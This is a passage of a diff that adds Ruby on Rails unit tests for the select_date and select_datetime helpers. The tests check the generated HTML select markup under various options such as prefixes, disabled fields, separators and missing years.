+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :order => [:day])
+  end
+
+  def test_select_date_with_disabled
+    expected =  %(<select id="date_first_year" name="date[first][year]" disabled="disabled">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" disabled="disabled">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" disabled="disabled">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :disabled => true)
+  end
+
+  def test_select_date_with_no_start_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+1) do |y|
+      if y == Date.today.year
+        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+      else
+        expected << %(<option value="#{y}">#{y}</option>\n)
+      end
+    end
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(
+      Time.mktime(Date.today.year, 8, 16), :end_year => Date.today.year+1, :prefix => "date[first]"
+    )
+  end
+
+  def test_select_date_with_no_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    2003.upto(2008) do |y|
+      if y == 2003
+        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+      else
+        expected << %(<option value="#{y}">#{y}</option>\n)
+      end
+    end
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(
+      Time.mktime(2003, 8, 16), :start_year => 2003, :prefix => "date[first]"
+    )
+  end
+
+  def test_select_date_with_no_start_or_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) do |y|
+      if y == Date.today.year
+        expected << %(<option value="#{y}" selected="selected">#{y}</option>\n)
+      else
+        expected << %(<option value="#{y}">#{y}</option>\n)
+      end
+    end
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(
+      Time.mktime(Date.today.year, 8, 16), :prefix => "date[first]"
+    )
+  end
+
+  def test_select_date_with_zero_value
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_zero_value_and_no_start_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+1) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :end_year => Date.today.year+1, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_zero_value_and_no_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    last_year = Time.now.year + 5
+    2003.upto(last_year) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :start_year => 2003, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_zero_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(0, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_nil_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(nil, :prefix => "date[first]")
+  end
+
+  def test_select_date_with_html_options
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]"}, :class => "selector")
+  end
+
+  def test_select_date_with_separator
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << " / "
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), { :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]"})
+  end
+
+  def test_select_datetime
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]")
+  end
+
+  def test_select_datetime_with_separators
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), :start_year => 2003, :end_year => 2005, :prefix => "date[first]", :datetime_separator => ' &mdash; ', :time_separator => ' : ')
+  end
+
+  def test_select_datetime_with_nil_value_and_no_start_and_end_year
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n)
+    (Date.today.year-5).upto(Date.today.year+5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
